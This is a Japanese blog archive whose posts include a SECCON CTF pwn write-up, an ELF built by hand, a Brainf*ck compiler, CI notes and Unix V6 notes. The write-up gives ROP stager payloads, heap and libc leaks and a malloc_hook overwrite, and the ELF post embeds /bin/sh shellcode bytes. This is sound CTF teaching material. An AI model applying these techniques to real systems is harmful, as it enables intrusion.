あけましておめでとうございます

年賀状を書きました(さっき)

とてもやっつけです。http://bit.ly/befunge18で実行できるので試してみてくれるとそれはとってもうれしいなって。


f:id:moratorium08:20180101162518p:plain


今年もよろしくお願いします。

2017年の総括

 毎年振り返っているので今年も振り返ろうかなと思います。そうはいっても2016年の総括を書いているのが本当に先週くらいかな?と思うほど1年が過ぎていくのが早かったので少々恐ろしい気持ちです。最近は分身を体得すべく努力しています。

  以下ポエムです。

と思ったんですが、ポエムを書く気力がなかったのでやめます。気の赴くままに過ごしていました。来年も気の赴くまま好きなことをして嫌いなことはしないモラトリアム期間を過ごして行きたいなと思います(ほんまか?)

pwnに関する初歩的ないくつかの手順を確認する

最近TSGの人が少しpwnに興味を持っている?(要出典)らしいのですが、世の中のwriteupを見ても何やってるのか分からへんみたいな話があり、僭越ながら僕のやっていることを一つずつスクリーンショットを交えつつまとめてみたいなと思います。

もっとも、人の書くモノによって得られる理解は書いた人の理解の部分集合程度という話は当然あるわけで、より多くの理解を得るには、katagaitai ctf勉強会資料とか、potetinsenseiのlive CTFとかみると良さそうではあります。

ネタは先日のSECCON CTFのpwn100, pwn200です。

もちろん以下の手順は不要なものを排除しているため、実際に僕はこれほど効率的には解けてないです。

pwn100

Stack OverflowからROPという典型ではありますが、バイナリがGoです。

実行してみる

enter image description here

二つ文字列をechoしているようなプログラムっぽいです。試しに、長い文字列とか%sとかをやってみます。 enter image description here

落ちました。どうもどっかがオーバーフローしているようです。

どうも下のバッファーだけ落ちるようです

Disassemlerで開きます

enter image description here

大量のProcが並んでいてつらいですが、みるべき部分は、main.mainだけです。そうはいってもgolangバイナリは読みにくいです。

実は今回バイナリをそれほど詳しく読む必要はないのですが、どんな関数が呼び出されているのかくらいは確認します。

enter image description here

するとこの怪しそうな部分が見えます。このmemcpyはgolangの関数ではないようです。ここでオーバーフローが落ちるんだろうなと推測できます。

頑張ってeipをとる

さっき出ていたエラーを詳しく見ていきます。

enter image description here

すると、0x4141414141414141バイトのメモリを確保しようとしてデカすぎると言われているようです。困ったのでオーバーフローする文字列をNULL文字にしてみます。

enter image description here

すると、pc=0で落ちました。これはつまり、オーバーフローしたバッファから取られたアドレスがeipに入ったことを意味しています。つまり、うまいアドレスを設定すれば、好きなアドレスに飛ばすことができそうです。典型的なバッファーオーバフローからのreturnアドレスの書き換えです。

returnアドレスがスタック上のどこにあって、オーバーフローする文字列とのオフセットがどれくらいかというのはgdbなどを使って確認できますが、普通にこの程度のサイズだったら、落ちるか落ちないかで手で二分探索できて、下手なことをするより速い気がします。

実際に送り込むバイト数を500から縮めていくと、

enter image description here

408バイト送り込んだあとに好きなアドレスを送り込めば、eipがその値になることが分かります。

exploit

ではこっから何をすればいいでしょうか。直接/bin/shを呼び出せるような状況ではないので、なんらかの形で/bin/shを実行するシェルコードを送り込みたいです。そのためにROPをします。

今回libcはないですが、バイナリ自体がでかいのでこれを使います。しかもディスアセンブルされた結果をよく見ていくと、いくつかのgolangのsyscallラッパが存在することが分かります。

enter image description here

Golangバイナリの呼び出し規約は普通のx64のバイナリと異なり、引数をスタックの上に積んでいけば良い(ということは上のディスアセンブルしている過程でわかる)ので、これを使います。仮に、標準的なROPをしようと思うと、引数をレジスタに格納するために、pop rdiなどを駆使して頑張る必要があり、今回よりもう少し気合が必要になります。

今回は、Stagerと言われるテクニックを使います。Stagerとは、短いROPで新しい実行可能領域を作り、そこにシェルコードを流し込んで、そのシェルコードを実行するテクニックです。今回のイメージは次のような感じです

ROPを組み立てる

実際にROPを作っていきましょう。疑似コードは次のような感じです

mmap(addr, 0x1000, 7, 34, -1, 0)
read(0, addr, len(shellcode))
shellcode()

mmapやreadのアドレスは、PIEでないため固定なので、Disassemblerから分かります。

enter image description here

enter image description here

このアドレスをretに当たるように配置するとともに、引数をスタックに積む必要があります。ところで、readを呼び出す前にmmapのために乗ったスタック上の引数より下にretが動くようにrspを下に動かすようにする必要があります。 このような命令列を探すためにはrp++というツールを使います

$./rp-lin-x64 --file=baby_stack --unique --rop=5 | grep "add rsp"

のように実行すると、 enter image description here

色々見つかりますが、いい感じのものを採用します。

これを元にROPを組み立てます。

shellcode = '\x00' * 408
shellcode += p64(mmap_addr)
shellcode += p64(add_rsp_0xe0) # dummy
shellcode += p64(addr_stage) #arg0
shellcode += p64(0x10000)
shellcode += p64(7)
shellcode += p64(34)
shellcode += p64(0xffffffffff)
shellcode += p64(0)

shellcode += p64(1) * 22 # dummy
shellcode += p64(read_addr)
shellcode += p64(addr_stage) # retaddr
shellcode += p64(0)
shellcode += p64(addr_stage)
shellcode += p64(len(get_sh_code))

enter image description here

スクリプト

以上の流れをスクリプトにまとめると

こんな感じになります。

実際に実行してみると、

enter image description here

フラグが取れることが分かります

pwn200

普通のバイナリで、またバッファオーバーフローが起こります。

実行してみる

enter image description here

enter image description here

enter image description here

Disassemblerで開いてみる

今度のバイナリは、割と真面目にバイナリを読む必要があります。

候補者リストの構造

今回のバイナリで重要となるのが、Heapの上に形成される候補者リストの構造です。 疑似的には、候補Candidateの構造体は

struct Candidate {
  char *name;
  struct Candidate *next;
  int count;
}

のようになっているといえ、構造を図示すると

enter image description here

findlist

enter image description here

addlist

enter image description here

長くなるのでmainとvoteだけ見ます

main

まず、addlistを使って、TatsumiさんShinonomeさんOjimaさんを追加します。このうちOjimaさんはこのあと少し重要となります。

enter image description here

以下は、menuで入力された値で分岐するようになっています

enter image description here

vote

lvに2を代入します。これにより、新しくstandすることができなくなります。またこの部分で、var_18に1を代入しています。これはあとで分かることですが候補者に増やす票数です。

enter image description here

候補者一覧を表示するかを確認します。

enter image description here

表示する場合は、リストを順に辿っていきます

enter image description here

その後、名前の入力に移ります。ここで妙なのは、入力された名前が"oshima"であるかどうかで、処理が分岐される点です。

enter image description here

まずはoshimaさんでない場合を考えます。この場合は普通に、リストから入力された名前の人を探し、存在すればその人の票数を増やし、存在しなければ、invalidであることを伝えた上でinvalid votesを増やします

enter image description here

問題は、oshimaさんだった場合です。このとき、まずojimaさんがリストに存在するかを探します。このojimaさんは上のmainで見たように、実行の最初に追加されている人です。候補者を削除することはできないので、リストが壊れているかどうかを簡易的に発見する措置である(?)と言えます。

enter image description here

ちゃんとOjimaさんがいた場合(壊れてなければ存在する)は、「私はOshimaじゃなくてOjimaです」というよく分からない主張が走り、ユーザーにOjimaさんに変更するかどうかを問います。

enter image description here

実はこの部分に脆弱性があります。これは、この部分だけgetnlineの引数でbufferのサイズが0x30と与えられているためです。

そして、最後にyesと選んだ場合は、ojimaさんの票数を増やす処理があります。

enter image description here

そしてこのとき、見つけたfound_listとvar_18がバッファオーバーフローにより上書きが可能で、これにより任意のアドレスに1byte整数分だけplus/minusすることが可能になります。行こうこの脆弱性をついてフラグを取得することを目指します。

方針

任意のアドレスが書き換え可能ですが、checksecすると、Full RELROでGOTは書き換えられません。

enter image description here

実は競技中は何書き換えればええねんって感じで死んだ(は?)んですが、普通にmalloc_hookやio tablesにあるjump tableを書き換えるのが良いようです。今回はmalloc hookを上書きしてみようと思います。

また、kimiyukiさんのwriteupを見ていると、普通にlibc分かるとstackがleakできるんですねという気持ちになりました(不勉強なため知らなかった)。stackがleakできれば、retアドレスを書き換えたりできます。

malloc hookとは、ここによれば、デバッグ時に便利な機構らしく、普段はNULLになっていますが、ここに有効なジャンプ先を指定しておくと、mallocが呼ばれるたびにここに飛んでくれるというすごいやつらしいです。使ったことないのでそんくらいしか知りません。

逆にいうと、malloc hookに適当なジャンプ先を上書きしてしまえば、これでシェルが取れることになります。

具体的には

  • アドレスの最下位バイトを上書きすることによって、heapアドレスのリーク
  • GOTを使ったlibcアドレスのリーク
  • そしてmalloc hookにone gadget rceのアドレスを書き込み
  • 最後にlvを上書きして、再びstandを呼び出しmallocをさせる

の四つの手順を行います。

任意のバイト列を生成する

あまりかっこいいコードではないですが、趣旨は分かりやすいと思います。

def make(addr, frm, to, size=4, wei=0):
    addr -= 0x10
    f = []
    t = []
    real = f[:]
    for i in range(size):
        f.append(frm % 256)
        frm //= 256
    for i in range(size):
        t.append(to % 256)
        to //= 256

    # print([chr(x) for x in f], [chr(x) for x in t])
    if frm > 0 or to > 0:
        raise Exception("hoge")

    for i in range(size):
        if t[i] > f[i]:
            diff = t[i] - f[i]
            char = min(127, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                if diff == 128:
                    payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(1)
                    vote('oshima', payload, False, True, show=False)
                    diff -= 1
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(diff)
                vote('oshima', payload, False, True, show=False)
        elif t[i] < f[i]:
            diff = f[i] - t[i]
            char = min(128, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - diff)
                vote('oshima', payload, False, True, show=False)
        addr +=1

上で示したように、任意のアドレスに対して、1 byte整数の加算(減算)が可能なので、渡されたアドレスの場所に対して1byteずつ差分を加減算する処理をしています。

heap address leak

ヒープアドレスをリークするには、OjimaさんなどHeapに配置される人のアドレスに関して、ヒープアドレスの上位はランダマイズされ、いつも同じではないのですが、下位アドレスがいつも同じになることを利用します。

また、アドレスはリトルエンディアンで配置されているため、オーバーフローをした場合は下位アドレスから順に上書きされていきます。

結論から言えば、Ojimaさんの下位アドレスを00に書き換えます。すると、Ojimaさんを指すはずのポインタはheap topを指すようになります。

enter image description here

すると上の図のように、「本来票数があるはずの場所」にTatsumiさんの名前文字列へのポインタがくるようになります。この値に0x20加算した値というのはちょうどShinonomeさんの先頭をさします。候補の構造体の先頭はHeap内にある文字列を参照しているので、これによりHeapのアドレスがLeakできます。

libc address leak

libcのアドレスをleakするにはGOTを利用します。今回書き込みはできませんが、読み込みは当然できます。そしてこの値は固定アドレスなので、決め打ちでlibcのアドレスを知ることができます。

どうすればよいかというと、上のheap leakでしたように、候補者の名前を書き換えます。そして、すでにheapのアドレスが割れているので、好きな人の候補の名前を上で用意した関数を使って書き換えることができます。

今回は、putcharのgotを使いました。GOTのアドレスはディスアセンブラを用いて確認できます。

enter image description here

今回は0x601f80に、Tatsumiさんの名前のポインタを書き換えました。

make(heap_base + 0x200,0, put_char_got, wei=1)
make(heap_base + 0x58, heap_base + 0x10, heap_base + 0x200)
put_char_addr = get_addr()

enter image description here

これによりlibcの中でのputcharのアドレスが分かります。libcの配置はランダムですが、libc内でのオフセットは一定なので、nmを使って、libc内におけるput_charのオフセットを調べます。

enter image description here

これによりlibcのbaseアドレスが分かります

libc_base = put_char_addr - put_char_libc

malloc hook overwrite

大詰めです。malloc hookをoverwriteします。まず、one gadget rceを検索します。僕はone_gadgetというツールを使います

enter image description here

四つほど見つかりました。まずはこれらをそれぞれ試して見て動くかなければ、その時は考えることにします(そして動きます。動かなければstackアドレス自体もlibcからleakができるので直接rsp+0x30になる値を0にしてしまうといったことができると思います)。

いくつか試した結果動くのは0xf0274にあるものでした。なのでこれを採用します。

enter image description here

malloc hookのアドレスはここです。これを書き換えます

make(malloc_hook, 0, rce_addr, size=8)

get sh

最後にmallocを呼び出してもらう必要があります。mallocは意外と条件によってはprintfの中から呼び出してくれたりして奥が深いようですが、今回はmallocを実際に呼び出すことができるので普通に呼び出します。

ただし、一つ問題があって、voteしてからだとstandすることができません。これは上で説明したようにlvが2になっているためで、これを1に戻します。lvはbssにあって固定アドレスです。

lv = 0x602010
make(lv, 2, 1, size=4)

最後に、mallocを呼び出すためにstandをすると無事シェルが取れます

stand("fugafuga")

最終的なスクリプト

以上をまとめたものが次のスクリプトです。

これを実行すると、

enter image description here

フラグが取れます。

終わりに

なんかこんなに長く書くつもりはなかったんですが、微妙に長くなってしまった。複数人でわいわいできるとたのしいので人々もたまにはCTFやりましょう(別にスプラトゥーンやっててもよいので)。

Brainf*ckを、直接実行可能バイナリにコンパイルした話

なんとなくカレンダーを埋めたいという衝動に駆られるので記事を書きます。

おととい書いたELFを書く話によって、僕らは事実上任意の機械語列をELFにすることができるようになりました。次は、当然任意のBrainf*ckで書かれたプログラムをコンパイルできるようになるべきです。

つまり今度の目標は、「与えられたBrainf*ckのプログラムを実行可能なELFに変換する」ということになります。

コンパイラというと、実際は、機械語を直接吐き出すのではなく、一度アセンブリ言語やなんらかの中間言語を生成して、そのあとでアセンブラ等によって機械語を吐き出すという形なものが書きやすく一般的(一般性を十分担保できるほど僕はコンパイラの実装を読んでいないが)な気がしますが、今回は、bfのコードを受け取って直接機械語に翻訳してみようと思います。

というのも課題の指定がそうなので。課題ではコンパイラそのものもアセンブリ言語で書く必要がありますが、とりあえず方針を立てる意味でもPythonで書いてみようと思います。またPowerPCではなくx86-64上のLinuxで動くプログラムについて考えます(なのでこの記事は課題そのものではないです)。

keystone engine

そうはいっても、吐き出す機械語をマニュアルを読んで生成するのはさすがに億劫なので、keystone engineという、CTFしているとたまに見かけるAssembly Frameworkの力を借ります。実際これで遊んでみたのを記録にしようと思っただけという話でもあります。

Keystoneを使うと次のように、アセンブリを対応する機械語に変換してくれます。

In [2]: from keystone import *

In [3]: ks = Ks(KS_ARCH_X86, KS_MODE_64)

In [4]: def asm(code):
   ...:     c, _ = ks.asm(code)
   ...:     return ''.join([chr(x) for x in c])
   ...:

In [5]: asm("mov rax, 1")
Out[5]: 'H\xc7\xc0\x01\x00\x00\x00'

In [6]: asm("nop")
Out[6]: '\x90'

In [7]: asm("jmp 0")
Out[7]: '\xeb\xfe'

書いたもの

現状はこんな感じで書いています。bfの仕様としては、とりあえず、めんどいのでメモリは100000バイトの領域を0x900000からmmapで確保するという適当なことをしてはいます。当然領域外へ出たら壊れます。 ここらへんちゃんとELF上に書いておけばいい話ではあるんですが、それをやるよりmmapした方が(書くのが)速いし、全体のサイズが小さいという話があるので、まぁ気が向いたらみたいなところが強い

あとはこれをアセンブリで書き出すだけではありますが、面倒なので気合いが出ればやろうという感じ

実行

せっかくなので、いくつかのbfのコードを実際にコンパイルしてみました。例えば、先日のesolangのCodeGolf大会で、@satosさんが書いた「与えられた2進数が三角数かどうか判定」するプログラムを実際に実行してみました(回答自体はTSGのGithubからみられます)。

ubuntu@ubuntu-xenial:~/ctf/experiment$ ./bf
00000011
00110111
10100101
00011111
01011001
10010100
00111100
01101000
11001000
01011011
10001000
10111110
01000010
01110011
10011001
10101100
00001010
01101001
00101101
11111101
11100111
00001000
00001111
10101011
00110010
11110111
00011100
11110110
00000000
10110001
01111000
00100011
01001110
10010000
00000110
00000001
00110011
00010101
10000101
11010010
00010101
01111101
00100001
01011010
00101110
11001010
11100000
00100100
10111110
00111110
11000000011110101111101100101010101101011000000110

一応正しく動いていそうです。

ちなみにコンパイルしたあとのバイナリをディスアセンブルすると、

enter image description here

こんな感じになります。Rev問だったら地獄ですね?

実際、同じ処理をペタペタ貼り付けているだけなので、ここらへんもう少し効率化とかすると楽しいかもしれません。

手で ELFを書く

学科の基礎実験でAssemblyでbrainfuckコンパイラをかけという選択課題があります。この課題をやろうと思うと、ELFをある程度理解し、自分で生成できる必要があります。

今回、最低限の機械語を実行可能なELFフォーマットで出力できるようになるために手でELFを組み上げていき理解を深めてみようと思いました。

もちろんELFと言っても用途が様々ですが、ここでの目標は次の機械語の列を実行して、シェルが起動するということとします。

出展:http://shell-storm.org/shellcode/files/shellcode-806.php enter image description here

お気持ちとしては、「たまにはシェルコードもエクスプロイトされずに実行されたいよね」です。

実際、Brainfuck -> 機械語コンパイル結果はそれ自体に関数とか複数のオブジェクトファイルがリンクされているだとかそういう"構造"はなく、ただ単に機械語の列になると思うので、課題を達成するための理解として第一段階はそれでいいだろうという話でもあります。

方針

道具

ELFを手で書くと言っても、さすがに鉛筆で書くことはできません(メモリにマップすることができないため)。ここではpythonのアシストを借りつつ最終的にELFをダンプするようなスクリプトを書いていこうと思います。

その上で、ELFを書く上で、8~64bitのリトルエンディアンのpackが必要になることが多々あるため、次のようなショートカット関数を定義しておきます

import struct

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p32(x):
    return struct.pack("<L", x)

def p64(x):
    return struct.pack("<Q", x)

また、entrypointと、実際に実行する機械語として、

code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
entry_point = 0x400078

を定義しておきます。

全体像

ELFのヘッダについての詳細な情報は日本語や英語版Wikipediaなどに詳しく書いてあるので一つ一つ書くことはしてもしょうがないのですが、重要となる点についていくつか書きます。

まず、ELFは、ELF Header、Program Headerそして、Section Headerを持ちます。ELF Headerはただ一つ存在しELFファイル全体を管轄するメタデータです。 また、Program Headerはメモリにマップする、"され方"を定義するものです。つまり、メモリ上のどのアドレスにどのような領域(Read/Write? Executable?)をマップするかをとりしきります。 そして、Section Headerはオブジェクトファイルをリンクしたりする際のメタデータを持ちます。今回は外部のライブラリをロードしたりすることはないので、このHeaderは登場しません。

出展:Wikipedia

enter image description here

今回書くELFの構造的なイメージは次のような感じです。

enter image description here

このような形でマップされるようなELFを書いていきます。

環境

今回書くのは、64bit ELFバイナリ(x86-64)です。環境は

$ uname -a
Linux ubuntu-xenial 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ uname -a
Linux ubuntu-xenial 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial

です。

ELFヘッダを書く

まず必要となるのがELFヘッダです。これは書かないことには始まりません。次がELFヘッダです

# ELF Header
elfh = ''
elfh += '\x7fELF' # magic
elfh += p8(2) # Class: 2 is 64bit
elfh += p8(1) # Endinan: little endian
elfh += p8(1) # ELF Version: EV Current
elfh += p8(0) # EI_OSABI: It is often set to 0 regardless of the target platform.(Wikipedia)
elfh += p8(0) # ABI version: (not used)
elfh += p8(0) * 7 # Padding: currently unused
elfh += p16(2) # e_type: 2 is exectable file
elfh += p16(0x3e) # e_machine: 0x3e is x86-64
elfh += p32(1) # e_version: original version(maybe whatever)
elfh += p64(entry_point) # e_entry: entry point
elfh += p64(0x40) # e_phoff: program header table offset -> 64bit is 0x40
elfh += p64(0) # e_shoff: section header table offset -> notable
elfh += p32(0) # e_flags: maybe whatever
elfh += p16(0x40) # e_ehsize: ELF Header Size
elfh += p16(0x38)  # e_phentsize
elfh += p16(1) # e_phnum: the number of program header entries
elfh += p16(0) # e_shentsize: no section headers
elfh += p16(0) # e_shnum: no section headers
elfh += p16(0) # e_shstrndx: no section headers

一つ一つの内容については、Wikipediaを参照して欲しいですが、いくつか取り上げると、

elfh += p64(0x40) # e_phoff: program header table offset -> 64bit is 0x40

これは、上の図でいうと、Program Headerがすぐ下に続くことを意味しています。ELFで64bitのとき、ELF Headerの大きさは0x40なので、その大きさ分だけオフセットを書きます。

Program Header

今回必要になるのはただ一つのProgram Headerです。というのもマップする必要のある領域がただ一つであるためです。

prmh = ''
prmh += p32(1) # p_type: type of segment
prmh += p32(5) # p_flags: memory segment permission. 0b101 -> Exec + Read
prmh += p64(0x40 + 0x38) # p_offset: offset of the segment
prmh += p64(entry_point) # p_vaddr: virtual address to be mapped in memory
prmh += p64(entry_point) # p_paddr: physical address to be mapped in memory (maybe not used in my machine)
prmh += p64(len(code)) # p_filesz: file size of this segment
prmh += p64(len(code)) # p_memsz: file size of this segment
prmh += p64(0x1000) # p_align: alignment

これについては一行一行説明しようと思います

prmh += p32(1) # p_type: type of segment

これはセグメントのタイプを定義します。1がPT_LOADであり、ロード可能なデータに関するセグメントであることを意味しています。ロード可能であるとは、p_fileszやp_memszを持つということを意味しています。

prmh += p32(5) # p_flags: memory segment permission. 0b101 -> Exec + Read

これはマップする領域のpermissionを表します。1bit目がExec, 2bit目がWrite, 3bit目がReadに関するpermissionを意味しています。すなわち、5(0b101)はExecとReadができる領域であることを意味します

prmh += p64(0x40 + 0x38) # p_offset: offset of the segment

実際にこの領域が表すデータがファイルの先頭からのオフセットでどこにあるかを表します。最初に示した図を見てもられるとわかるとおり、Code自体はELF HeaderとProgram Header一つのすぐしたにあるので0x40 + 0x38であることがわかります。

prmh += p64(entry_point) # p_vaddr: virtual address to be mapped in memory
prmh += p64(entry_point) # p_paddr: physical address to be mapped in memory (maybe not used in my machine)

これは、実行時にマップされるアドレスを表します。p_paddrは物理メモリを使う場合に使われる情報のようですが、僕の環境では関係ないと思われますし、基本的に普通のパソコンを使う限りは関係ない情報だと思われます。

prmh += p64(len(code)) # p_filesz: file size of this segment
prmh += p64(len(code)) # p_memsz: file size of this segment

これは、それぞれfile上でのマップするデータの大きさと、メモリ上での大きさを表しています。今回は一致していますが、しばしばmemszはfileszより大きくてもよく、その場合0埋めがされます( Tips ELFフォーマットその1 ELFフォーマットについて)

prmh += p64(0x1000) # p_align: alignment

これはアラインメントを表します。

実際にダンプしてみる

この二つのHeaderに実行するコードをくっつけたファイルを吐き出すと実際に実行できます(完成したスクリプトは、ここにあります)。

ubuntu@ubuntu-xenial:~/ctf/experiment$ python snipet.py
(64, 56, 27)
147
ubuntu@ubuntu-xenial:~/ctf/experiment$ ./dump
$ echo hello
hello
$ readelf -e dump
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400078
                 0x000000000000001b 0x000000000000001b  R E    1000

enter image description here

良さそうですね

終わりに

ELFファイルフォーマットについての知見が全くなかったので良い勉強になりました。brainfuck compiler on assembly書くぞの強い気持ち  

参考にしたもの

  1. シェルコード: shellcode-806.php
  2. Tips ELFフォーマットその1 ELFフォーマットについて
  3. Shortest ELF for “Hello world\n”?
  4. A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux
  5. Executable and Linkable Format - Wikipedia

Circle CI + Python3 + GAEについて

Circle CI + Python3 + GAEについて

別にどうというわけでもないが、メモ。3時間くらい悩まされたため。

背景

Googleが提供するPythonで実装されたスクリプト群がPython2で動くことはあまりにも有名ですね。そもそもAppEngineのStandard Environmentにデプロイしようと思うとPythonのバージョンは2でないと動かないです。

ところで、Flexible Engine(以下FE)では3も動かすことが可能です。先日、Python3 + Djangoで書いたコードをFEに投げてhogehogeしていました。ここにCIを導入しようと思い、ある程度無料でプライベートリポジトリでも利用可能なCircle CIを導入しました。

問題

問題は、アプリがPython3で動いている一方で、Python2のgcloudコマンド群を動かさないといけないという点です。

Circle CIが用意しているイメージを使ってgcloudコマンドを叩くことは可能(Python2のイメージを使ってインストールすることも可能)ですが、そうすると、App側で動かしたい一連のタスクが実行できなくなりました。

根底にあるのは、普通に提供されている機能だけを使うと、Python2/3の両立が必要なタスクが難しいのではないか?という点です。

解決

結論は簡単で自分でdockerイメージを作りました。gcloud-python3にあります(二つ入れただけですが)。

jobs:
  deploy:
    working_directory: ~/repo
    docker:
      - image: moratorium08/gcloud-python3
    environment:
      - GOOGLE_APPLICATION_CREDENTIALS: "gcp-key.json"
    steps:
      - checkout

      - run:
          name: create yamls
          command: |
            echo "$GOOGLE_AUTH" | base64 -i --decode > "gcp-key.json"
            gcloud auth activate-service-account --key-file "gcp-key.json"
      - run:
          name: install dependencies
          command: |
            python3 -m venv venv
            . venv/bin/activate
            pip install -r requirements.txt
      - run:
          name: collect static
          command: |
            . venv/bin/activate
            python manage.py collectstatic
      - run:
          name: upload static files
          command:
            gsutil rsync -R static $BUCKET_NAME

      - run:
          name: deploy production
          command: |
            gcloud --quiet config set project "$GOOGLE_PROJECT_ID"
            gcloud --quiet app deploy app.yaml

workflows:
  version: 2
  build-deploy:
    jobs:
      - deploy:
          filters:
            branches:
              only: master

こんな感じ

感想

Dockerで殴るのは速いし余計なことを考えなくて良いなぁという気持ちですが、そもそも普段使いでgcloudとPython3を両立させるのが少々めんどう(virtualenv下においてPython3の環境だけでなく2も動くようにしておかないといけない?)なので一元的に扱う良い方法はないものなのかなぁという感じです。

知ってたら教えてください

Unix V6コードリーディングの個人的なメモ

学科ゼミとしてV6を読む会というのをやっています。ここまでのところ4回ほど開いて、順次はじめてのOSコードリーディング ~UNIX V6で学ぶカーネルのしくみ (Software Design plus)を読んでいます。とりあえずオラオラと9章(加えて14章)まで読んで来たわけですが、面白いなぁと思ったいくつかのことについて自分でまとめておこうという気持ちになったのでまとめようと思います。

ぼくはLions本を前から読んでいるわけではなく、V6の基本的知識はOSコードリーディング本によるものです。

(書いたのは、好きな話や少し気になった話だけです(浅く網羅しても仕方ないため))

forkの仕組み

 概念的に「forkはプロセスの内容がコピーされて分岐する」のような説明を聞くことがあるのですが、これを達成する部分は少し巧妙でした。これはほぼ各所で書かれている話ですが、理解したところをまとめておきたいと思います。

基本的にUnix V6で新しいプロセスを作るにはこのforkをします。forkとは、現状のプロセスのコピーを作って、プロセスを分岐させます。ここで、実行される命令の列は同じだが、二つのプロセスの実行の流れを分岐させるうまい仕組みがあります。

そもそもforkは細かく見ると、具体的には次のいくつかの部分に分かれます

【親プロセス】

  • newprocを呼び出す
  • procやデータセグメントの情報を子供のプロセスにコピーする(*)
  • newprocをreturnし、このとき0が帰って来る
 savu(u.u_rsav);
    rpp = p;
    u.u_procp = rpp;
    rip = up;
    n = rip->p_size;
    a1 = rip->p_addr;
    rpp->p_size = n;
    a2 = malloc(coremap, n);
    /*
    * If there is not enough core for the
    * new process, swap out the current process to generate the
    * copy.
    */
    if(a2 == NULL) {
        rip->p_stat = SIDL;
        rpp->p_addr = a1;
        savu(u.u_ssav);
        xswap(rpp, 0, 0);
        rpp->p_flag =| SSWAP;
        rip->p_stat = SRUN;
    } else {
    /*
    * There is core, so just copy.
    */
        rpp->p_addr = a2;
        while(n--)
            copyseg(a1++, a2++);
    }
    u.u_procp = rip;
    return(0);

(ken/slp.c)

このとき、子供は起きていない状態で、親の実行が進みます。次に、swtchによって、プロセスのスイッチが起きて、子供が起こされた時どういう挙動になるかを考えます。まず実行が始まるのは、データセグメントやレジスタの情報を保存した部分になります。これは、すなわち、上記のnewprocの中の部分です。

swtch自体は、

 if(rp->p_flag&SSWAP) {
        rp->p_flag =& ~SSWAP;
        aretu(u.u_ssav);
    }
    /*
    * The value returned here has many subtle implications.
    * See the newproc comments.
    */
    return(1);

(ken/slp.c)

のような形で関数から戻ります。

ここで重要なのは、swtch内でaretuが実行されることにより、このnewprocを呼び出した関数に戻るように、swtchがreturnされるという点です(すなわち、スタックフレームが一個ずれる)。これにより、newprocからあたかも1が帰って来ている状態になり、結果として、

fork()
{
    register struct proc *p1, *p2;

    p1 = u.u_procp;
    for(p2 = &proc[0]; p2 < &proc[NPROC]; p2++)
        if(p2->p_stat == NULL)
            goto found;
    u.u_error = EAGAIN;
    goto out;

found:
    if(newproc()) {
        u.u_ar0[R0] = p1->p_pid;
        u.u_cstime[0] = 0;
        u.u_cstime[1] = 0;
        u.u_stime = 0;
        u.u_cutime[0] = 0;
        u.u_cutime[1] = 0;
        u.u_utime = 0;
        return;
    }
    u.u_ar0[R0] = p2->p_pid;

out:
    u.u_ar0[R7] =+ 2;
}

(ken/sys1.c)

上のプログラムにおいて、newprocの返り値による分岐ができています(!)。この仕組みはなかなかうまいなぁと思います。

文章で書いてもわかりにくいので図にしました。

enter image description here

図にしてもあまりうまく書けなかったです。

MMU用のハードウェアAPRなどの管理

UISAやUDSAのようなアドレスは特定のアドレスにマップされていますが、なぜこれを更新するとちゃんとコンテキストスイッチができるのかについて本を読んでいて納得できなかったので一応メモです(今から考えるとそれはそう)。

というのは、UISAやUDSAというのはアドレス中の値であり、具体的には

#define UISA    0177640        /* first user I-space address register */
#define    UDSA    0177660        /* first user D-space address register */

のように定まっています。しかし、このアドレスというのは仮想アドレスであることから、MMUがうまく参照できないのでは?という疑念がありました。

結論から言うと、カーネルAPRの7番目の値すなわち仮想アドレス0160000〜0177777が常に物理アドレス上の0760000〜0777777にマップされるため問題はないです。 つまり、UISAがマップされる場所やUDSAがマップされる場所は常に固定で、逆にこの固定の領域を使って周辺デバイスとのやりとりがなされています。 これらのアドレスが選ばれていることについては、Lions本を引用すれば"The method of assignment of addresses to registers in this page is a black art: the values are hallowed by tradition and are not to be questioned."らしいので、とりあえずこの場所に固定された領域があってMMUがここを読みに来ているのでうまくアドレス変換が可能となるのだということまでは言えると思います。

その他ネタ

へーって思った話。普通にPDP 11のWikipediaとかOSリーディングの本とか見れば書いてあることだが、へーって思ったのでメモ。

無名構造体

int型の値のMSBから8bitみたいな値を参照するのに、構造体のようにアクセスしているコードが随所にあります。

 (*bdevsw[rootdev.d_major].d_open)(rootdev, 1);

こんな風な感じです。これ一見すると全然変ではないんですが、例えばrootdevというのは、

int rootdev;        /* dev of root see conf.c */

のように定義されていることからわかるように、int型の値です。すなわち、int型の値に構造体にアクセスしているということで、なんやねんとなります。

